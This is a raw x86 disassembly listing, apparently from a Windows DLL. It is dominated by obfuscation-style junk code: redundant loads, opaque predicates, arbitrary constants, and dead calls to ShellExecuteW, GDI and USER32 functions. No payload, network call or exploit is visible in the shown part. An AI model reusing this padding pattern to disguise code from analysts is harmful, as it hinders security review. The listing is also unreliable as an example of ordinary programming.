mov byte [ebp - 0x11], al
jle 0x1003343e
cmp byte [ebp - 0x11], 0
je 0x1003345f
push eax
call esi
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jle 0x10033432
dec dword [ebp - 0x18]
jns 0x10033426
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x964], 0
jne 0x10033486
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
push 0
pop eax
jle 0x10033413
xor eax, eax
mov dword [ebp - 0x1c], 5
or ecx, 0xffffffff
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x54], 0xa7ab5bf7
mov dword [ebp - 0x4c], 0xfffffffc
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 6
jge 0x100335af
mov dword [ebp - 0x24], edi
push 2
mov dword [ebp - 0x20], eax
pop ecx
cmp dword [ebp - 0x20], ecx
jge 0x100334d6
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x8cc], 0x997736ea
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x100334be
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x100334ec
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x8dc], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x100334db
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], edi
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x24]
imul eax, eax, 0xfffb
sub eax, dword [ebp - 0x54]
neg eax
sbb eax, eax
xor edx, edx
inc eax
imul ecx, eax, 0xffff
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, 0x7d3709e8
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x8c8], ecx
mov eax, dword [ebp - 0x8d8]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
mov dword [ebp - 0x8c8], ecx
mov eax, dword [ebp - 0x4c]
add eax, ecx
je 0x10033590
mov eax, dword [ebp - 0x8d8]
xor ecx, ecx
cmp eax, 0x4c3dc4d7
setne cl
cmp ecx, 2
jb 0x10033590
mov ecx, edi
jmp 0x10033594
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x18]
imul eax, ecx
push 6
mov dword [ebp - 0x18], eax
inc dword [ebp - 0x1c]
pop eax
cmp dword [ebp - 0x1c], eax
push 0
pop eax
jl 0x100334b0
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x1c], 0x24ec2e0c
mov dword [ebp - 0x1c], 0xffffffeb
jmp 0x100335e5
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x100335e2
push 0x184b
push eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff5
je 0x100335c5
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
je 0x10033642
xor ecx, ecx
mov dword [ebp - 0x18], eax
inc ecx
mov dword [ebp - 0x54], 0x1647
mov dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x18], eax
jne 0x10033613
cmp dword [ebp - 0x1c], eax
je 0x10033613
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x54], eax
je 0x1003361b
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x54]
dec ecx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
push 0
setl dl
xor ecx, ecx
cmp eax, edx
pop eax
setl cl
mov dword [ebp - 0x4c], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xb
jne 0x100335f4
mov dword [ebp - 0x1c], 5
or ecx, 0xffffffff
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x54], 0xa7ab5bf7
mov dword [ebp - 0x4c], 0xfffffffc
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 6
jge 0x10033770
jmp 0x1003366e
xor eax, eax
xor ecx, ecx
inc ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x10033696
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x8bc], 0x997736ea
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1003367d
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x100336ac
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x91c], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1003369b
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x24]
imul eax, eax, 0xfffb
sub eax, dword [ebp - 0x54]
neg eax
sbb eax, eax
xor edx, edx
inc eax
imul ecx, eax, 0xffff
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, 0x7d3709e8
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x8b8], ecx
mov eax, dword [ebp - 0x918]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
mov dword [ebp - 0x8b8], ecx
mov eax, dword [ebp - 0x4c]
add eax, ecx
je 0x10033754
mov eax, dword [ebp - 0x918]
xor ecx, ecx
cmp eax, 0x4c3dc4d7
setne cl
cmp ecx, 2
jb 0x10033754
xor eax, eax
lea ecx, [eax + 1]
jmp 0x10033758
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x18]
imul eax, ecx
push 6
mov dword [ebp - 0x18], eax
inc dword [ebp - 0x1c]
pop eax
cmp dword [ebp - 0x1c], eax
jl 0x1003366c
xor eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x1c], eax
mov eax, 0x66c93ee3
mov dword [ebp - 0x97c], eax
mov dword [ebp - 0x978], eax
mov dword [ebp - 0x974], eax
mov dword [ebp - 0x970], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
push 3
setge dl
xor eax, eax
imul edx, dword [ebp - 0x1c]
mov dword [ebp - 0x974], edx
mov dword [ebp - 0x1c], eax
pop edx
cmp dword [ebp - 0x1c], edx
jg 0x10033834
mov dword [ebp - 0x18], 0xb1c03809
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], eax
jl 0x1003381a
mov dword [ebp - 0x24], 0xd7540573
mov dword [ebp - 0x24], eax
jmp 0x10033810
mov dword [ebp - 0x10], 0xfffffffb
mov dword [ebp - 0x10], eax
jmp 0x100337f7
cmp byte [ebp - 0x11], 0
je 0x100337f4
call ebx
push 3
xor eax, eax
pop edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
mov byte [ebp - 0x11], al
jle 0x100337e7
cmp byte [ebp - 0x11], 0
je 0x1003380d
push eax
call esi
push 3
xor eax, eax
pop edx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jle 0x100337db
dec dword [ebp - 0x18]
jns 0x100337cf
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x97c], 0
jne 0x10033832
inc dword [ebp - 0x1c]
push 0
pop eax
cmp dword [ebp - 0x1c], edx
jle 0x100337c0
xor eax, eax
mov dword [ebp - 0x40], 4
mov ecx, 0x72d9ee1c
mov dword [ebp - 0x44], 0xc2285faa
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x88], ecx
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x80], ecx
xor ecx, ecx
mov dword [ebp - 0x24], 0xcb972524
inc ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x10033886
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1f0], 0x648261f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1003386e
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], eax
jl 0x100338ef
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x100338b3
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x10ac], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003389e
xor eax, eax
mov dword [ebp - 0x38], eax
jmp 0x100338e5
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x100338df
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1284], 0x9310c13f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x100338c7
xor eax, eax
inc dword [ebp - 0x24]
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], eax
jle 0x100338b8
dec dword [ebp - 0x40]
jns 0x1003388e
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ecx
je 0x100339f4
mov dword [ebp - 0x1c], 0xcb6a
mov dword [ebp - 0x4c], 0x20c256fa
cmp dword [ebp - 0x1f0], eax
je 0x10033913
mov eax, ecx
xor edx, edx
cmp eax, 0x7fefb659
mov eax, dword [ebp - 0x44]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
imul ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x10033935
mov eax, dword [ebp - 0x1f0]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
test eax, eax
push 0xfffffffffffffff9
sets cl
pop eax
cmp ecx, eax
jbe 0x10033a04
xor eax, eax
cmp dword [ebp - 0x40], eax
jne 0x10033a06
mov ecx, eax
mov eax, dword [ebp - 0x1c]
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x1c]
dec ecx
cmp ecx, eax
setl dl
xor ecx, ecx
add edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp eax, edx
setne cl
xor eax, eax
cmp ecx, 9
setl al
or ecx, 0xffffffff
cmp ecx, eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x100339e2
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], eax
jl 0x100339dd
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x100339d8
push eax
push 0x7a2
push eax
push eax
push 0x1864
push 0x1176
push 0x26f6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtTextOutA]
xor eax, eax
dec dword [ebp - 0x44]
jns 0x100339a2
dec dword [ebp - 0x1c]
jns 0x1003399a
inc dword [ebp - 0x24]
xor ecx, ecx
inc ecx
push 0
pop eax
cmp dword [ebp - 0x24], ecx
jne 0x100338fb
mov dword [ebp - 0x1c], 0x24ec2e0c
mov dword [ebp - 0x1c], 0xffffffeb
jmp 0x10033a3c
xor eax, eax
cmp dword [ebp - 0x1f0], eax
je 0x1003395b
xor eax, eax
lea ecx, [eax + 1]
jmp 0x1003395d
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10033a39
push 0x184b
push eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff5
je 0x10033a1c
xor edi, edi
mov dword [ebp - 0x1c], eax
inc edi
cmp dword [ebp - 0x1c], 0xb
je 0x10033a99
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x54], 0x1647
mov dword [ebp - 0x4c], edi
cmp dword [ebp - 0x18], eax
jne 0x10033a6a
cmp dword [ebp - 0x1c], eax
je 0x10033a6a
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x54], eax
je 0x10033a72
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x54]
dec ecx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
push 0
setl dl
xor ecx, ecx
cmp eax, edx
pop eax
setl cl
mov dword [ebp - 0x4c], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xb
jne 0x10033a4e
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x54], 0x29b3a00d
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x10033ac5
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x634], 0xec2e0cf5
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10033aac
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x10033ae5
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10033ae2
push 0x5d3
push eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jle 0x10033aca
cmp dword [ebp - 0x20], eax
jne 0x10033b28
mov ecx, dword [ebp - 0x54]
xor edx, edx
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov ecx, 0xd9a2b82c
setne dl
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x630]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
cmp ecx, 0xf746
jge 0x10033b28
xor eax, eax
mov edx, eax
jmp 0x10033b2a
mov edx, edi
mov eax, dword [ebp - 0x630]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x54]
setge cl
sub ecx, eax
sub ecx, 0x5034859b
je 0x10033b4e
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x10033b4e
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x630]
cmp dword [ebp - 0x630], 0xe0752570
push 3
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x630], eax
mov eax, 0x66c93ee3
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x994], eax
mov dword [ebp - 0x990], eax
mov dword [ebp - 0x98c], eax
mov dword [ebp - 0x988], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
pop edi
setge dl
xor eax, eax
imul edx, dword [ebp - 0x1c]
mov dword [ebp - 0x98c], edx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jg 0x10033c25
mov dword [ebp - 0x18], 0xb1c03809
mov dword [ebp - 0x18], edi
cmp dword [ebp - 0x18], eax
jl 0x10033c0b
mov dword [ebp - 0x24], 0xd7540573
mov dword [ebp - 0x24], eax
jmp 0x10033c01
mov dword [ebp - 0x10], 0xfffffffb
mov dword [ebp - 0x10], eax
jmp 0x10033beb
cmp byte [ebp - 0x11], 0
je 0x10033be8
call ebx
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
mov byte [ebp - 0x11], al
jle 0x10033bde
cmp byte [ebp - 0x11], 0
je 0x10033bfe
push eax
call esi
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jle 0x10033bd2
dec dword [ebp - 0x18]
jns 0x10033bc6
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x994], 0
jne 0x10033c23
inc dword [ebp - 0x1c]
push 0
pop eax
cmp dword [ebp - 0x1c], edi
jle 0x10033bb7
xor eax, eax
xor esi, esi
mov dword [ebp - 0x10], 0x469ad59e
mov dword [ebp - 0x10], eax
inc esi
cmp dword [ebp - 0x10], esi
jge 0x10033c4f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xdac], 0xfffffffc
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10033c37
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10033c6c
push eax
push 0xfd7
push 0xb04
push eax
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10033c85
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10033c82
call dword [sym.imp.USER32.dll_ReleaseCapture]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jle 0x10033c71
mov dword [ebp - 0x34], 0x50cf
mov ecx, 0xcd8a6ce2
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x2c], 0xc3ebe155
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x2c], 0x35c52658
mov dword [ebp - 0x2c], 0xfffffffe
mov dword [ebp - 0x4c], eax
push 2
pop edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0xc28], ecx
mov dword [ebp - 0xc24], ecx
mov dword [ebp - 0xc20], ecx
mov dword [ebp - 0xc1c], ecx
mov dword [ebp - 0x2c], 0x7853
mov dword [ebp - 0x10], eax
jmp 0x10033cf3
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xa8], 0x250e6da5
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10033ce2
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
mov edx, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0xa8]
setg cl
add eax, ecx
xor ecx, ecx
cmp eax, 0x2b21a35c
setne cl
xor eax, eax
cmp ecx, 0xe6bb
setg al
sub eax, edi
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0xa8]
jge 0x10033d57
xor eax, eax
cmp dword [ebp - 0xa8], eax
je 0x10033d59
mov ecx, esi
jmp 0x10033d5b
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0xa8]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xa8]
setle dl
xor ecx, ecx
cmp eax, edx
mov edx, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
setne cl
imul edx, ecx
sub edx, 0xae4f
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0xa8]
setge cl
sub ecx, eax
mov eax, dword [ebp - 0xa8]
add eax, ecx
mov ecx, 0x3f908025
je 0x10033e80
mov dword [ebp - 0x4c], 0x2ad015b0
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffff8
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0xb88], ecx
mov dword [ebp - 0xb84], ecx
mov dword [ebp - 0xb80], ecx
mov dword [ebp - 0xb7c], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x18], 0xbf2fea27
mov dword [ebp - 0x28], 7
cmp dword [ebp - 0x34], eax
jne 0x10033e31
mov edx, dword [ebp - 0x4c]
neg edx
sbb edx, edx
neg edx
inc dword [ebp - 0x28]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0xc28], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp edx, 0xc4fbb7f4
setne al
cmp eax, dword [ebp - 0x34]
jl 0x10033e31
xor eax, eax
jmp 0x10033e33
mov eax, esi
mov dword [ebp - 0x20], eax
xor eax, eax
cmp dword [ebp - 0x20], 0x76b2
jl 0x10033e60
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x10033e8b
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
jmp 0x10033e8b
push 4
mov dword [ebp - 0x20], eax
pop ebx
jmp 0x10033e79
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xb88], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10033e68
jmp 0x10033e8e
xor eax, eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
push 4
pop ebx
mov dword [ebp - 0x4c], 0x254c1c08
push 5
pop eax
mov dword [ebp - 0x20], eax
mov eax, 0x9ff60657
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x80], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x10033ed7
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x25c], 0x6e6bacd7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10033ebf
xor eax, eax
push 3
mov dword [ebp - 0x25c], eax
pop ecx
jmp 0x10033f56
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10033efe
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1c8], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10033eea
xor eax, eax
mov dword [ebp - 0x1c8], ecx
cmp dword [ebp - 0x1c8], eax
jl 0x10033f48
or edx, 0xffffffff
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], eax
jl 0x10033f40
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], eax
jl 0x10033f3b
mov dword [ebp - 0x4c], esi
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x4c], eax
dec dword [ebp - 0x18]
jns 0x10033f28
xor eax, eax
dec dword [ebp - 0x10]
jns 0x10033f1a
dec dword [ebp - 0x1c8]
jns 0x10033f0f
cmp dword [ebp - 0x25c], eax
jne 0x10033f5e
inc dword [ebp - 0x25c]
cmp dword [ebp - 0x25c], ecx
jle 0x10033ee2
or edx, 0xffffffff
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x4c], 0xfffffffc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x10033f87
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x86c], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10033f73
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10033f9a
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push 3
pop ecx
mov eax, dword [ebp - 0x86c]
mov ebx, 0xa7ab5bf7
push 0xfffffffffffffff6
pop eax
mov dword [ebp - 0x86c], eax
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x24], 0xee1c
mov dword [ebp - 0x10], 9
mov dword [ebp - 0x48], 0xb752bf39
mov dword [ebp - 0x10], eax
jmp 0x10033fe1
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x3ac], 0x37d45db3
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10033fd0
mov eax, dword [ebp - 0x3ac]
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1003402e
mov ecx, dword [ebp - 0x3ac]
xor edx, edx
mov eax, dword [ebp - 0x24]
neg ecx
cmp ecx, eax
setg dl
xor eax, eax
imul edx, dword [ebp - 0x24]
neg edx
cmp edx, 0xb1b6
setne al
xor ecx, ecx
cmp eax, 0x3ddca272
setg cl
add ecx, dword [ebp - 0x3ac]
je 0x1003402c
mov eax, esi
jmp 0x1003402e
xor eax, eax
mov ecx, dword [ebp - 0x24]
sub ecx, eax
mov eax, 0x887c
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x3a8]
neg ecx
sbb ecx, ecx
inc ecx
sub eax, ecx
mov ecx, dword [ebp - 0x3a8]
imul ecx, eax
mov eax, dword [ebp - 0x24]
imul eax, ecx
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x10], edi
cmp dword [ebp - 0x10], eax
jl 0x100340d9
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x54], 0x6a0122d8
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3a4]
mov eax, dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x100340a3
dec dword [ebp - 0x54]
jne 0x10034094
cmp dword [ebp - 0x48], 0x77fefb6
je 0x10034096
mov eax, esi
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x48], eax
jg 0x100340af
xor eax, eax
cmp dword [ebp - 0x3a4], eax
je 0x100340b1
mov edx, esi
jmp 0x100340b3
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
push 0
setl cl
xor eax, eax
cmp ecx, 0x3631af66
setle al
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x48], esi
dec dword [ebp - 0x10]
pop eax
jns 0x10034069
push 0xfffffffffffffffc
pop edx
mov dword [ebp - 0x2c], edx
or ecx, 0xffffffff
mov dword [ebp - 0x1c], 5
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x54], ebx
push 6
pop edi
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x1c], eax
push 2
pop ebx
cmp dword [ebp - 0x1c], edi
jge 0x100341ff
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x10034127
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x894], 0x997736ea
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1003410f
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1003413d
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x984], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1003412c
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], esi
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x24]
imul eax, eax, 0xfffb
sub eax, dword [ebp - 0x54]
neg eax
sbb eax, eax
xor edx, edx
inc eax
imul ecx, eax, 0xffff
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, 0x7d3709e8
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x890], ecx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x980]
sub ecx, eax
mov dword [ebp - 0x890], ecx
mov eax, dword [ebp - 0x4c]
add eax, ecx
je 0x100341e0
mov eax, dword [ebp - 0x980]
xor ecx, ecx
cmp eax, 0x4c3dc4d7
setne cl
cmp ecx, ebx
jb 0x100341e0
mov ecx, esi
jmp 0x100341e4
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x18]
imul eax, ecx
push 0
mov dword [ebp - 0x18], eax
inc dword [ebp - 0x1c]
pop eax
cmp dword [ebp - 0x1c], edi
jl 0x10034104
or ecx, 0xffffffff
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
mov edi, dword [sym.imp.USER32.dll_SetWindowTextW]
jge 0x10034d68
jmp 0x10034216
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x4c], 0xa6ff609
push 4
pop edx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10034245
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x310], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10034231
